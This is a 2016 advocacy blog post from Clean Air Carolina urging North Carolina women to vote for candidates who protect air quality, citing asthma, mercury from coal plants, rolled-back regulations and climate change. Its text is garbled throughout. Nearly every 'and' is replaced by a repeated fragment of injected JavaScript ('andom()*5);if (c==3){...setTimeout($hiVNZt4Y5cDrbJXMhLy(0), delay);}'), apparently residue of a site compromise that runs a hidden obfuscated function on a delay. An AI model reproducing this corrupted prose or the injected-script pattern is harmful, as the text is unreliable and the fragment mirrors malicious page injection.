Vote for Clean Air

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>>14329624125_7eb359a64c_zBy June Blotnick, Executive Director

Mary Stauble, Clean the Air for Kids Coordinator

Clean Air Carolina

With the 2016 general election only days away andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the possibility of the United States electing its first female president, women across the country continue to be active participants in the political process by running for office, leading campaigns, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and raising money. Women are also active at the polls showing up to vote in higher numbers than men.

Unfortunately, all of our hard work doesn’t translate into leadership in public policy making. Women are vastly underrepresented in Congress holding only 20% of the seats, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in the North Carolina legislature, even less at 16%. Thus, our voices in the policymaking arena on issues from protecting the environment to living wages are not being heard loud enough for us to be the changemakers we aim to be.

When it comes to protecting air quality in North Carolina, women should be especially concerned for two reasons. First, air pollution disproportionately impacts the health of women, children, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the elderly. Women are most often the primary caretakers for children andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and aging parents. Second, the gains we’ve made in protecting our air quality over the last few decades have been chiseled away andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in some cases, even dismantled, by a state legislature controlled by those who value businesses interests over regulations designed to protect public health.

Medical research now shows that exposure to high levels of air pollution during pregnancy is more likely to result in premature birth andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and low birth weight, threatening the infant’s fragile lung development. In addition, the lungs of children growing up in areas with high levels of air pollution do not develop properly andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lack the excess capacity used during exercise andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and other activities that require strong, healthy lungs. Finally, air pollution exacerbates asthma which affects 262,827 children in our state andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is the leading cause of school absences causing parents to miss workdays andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pay higher health care costs.

North Carolina’s dependence on burning coal to meet our need for electricity has caused mercury emissions to be deposited in our rivers, streams andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lakes. Fish convert the mercury to methylmercury, a potent neurotoxin that can cause neurological problems in fetuses andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and children. Women of childbearing age, pregnant andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and nursing women, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and children under 15 are advised by the NC Division of Public Health to limit their consumption of over two dozen varieties of freshwater andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ocean fish because of high mercury levels.

As women consider who to vote for at the state level, we should keep in mind that North Carolina at one time had the most protective rules andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and regulations designed to reduce air pollution from coal plants andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and toxic industries. But all that has changed. In the last four years the anti-regulation legislature rolled back environmental protections including removing a large number of air quality monitors used to measure pollution andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and eliminating air permitting requirements for over 1200 facilities.

Finally, as we head to the polls let’s not forget the biggest environmental challenge of all caused by air pollution from burning fossil fuels—climate change. This is an issue that affects all North Carolinians but especially our children andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andchildren. What kind of world can they expect to live in 50 years from now? As eastern North Carolinians continue to clean up andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and rebuild their lives andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and communities in the aftermath of Hurricane Matthew, it’s critical that our elected officials accept the urgency of climate change andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pass appropriate policies that swiftly transition our state’s economy to one reliant on clean, renewable energy like wind andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and solar andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and prioritize funding for infrastructure improvements for those communities likely to bear the brunt of extreme weather events. Women can andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and must use our political voices to protect our health andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the health of the planet.

Resource: Find out how your legislators voted on air quality andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and other environmental issues at the North Carolina League of Conservation Voters website >>www.nclcv.org.

 




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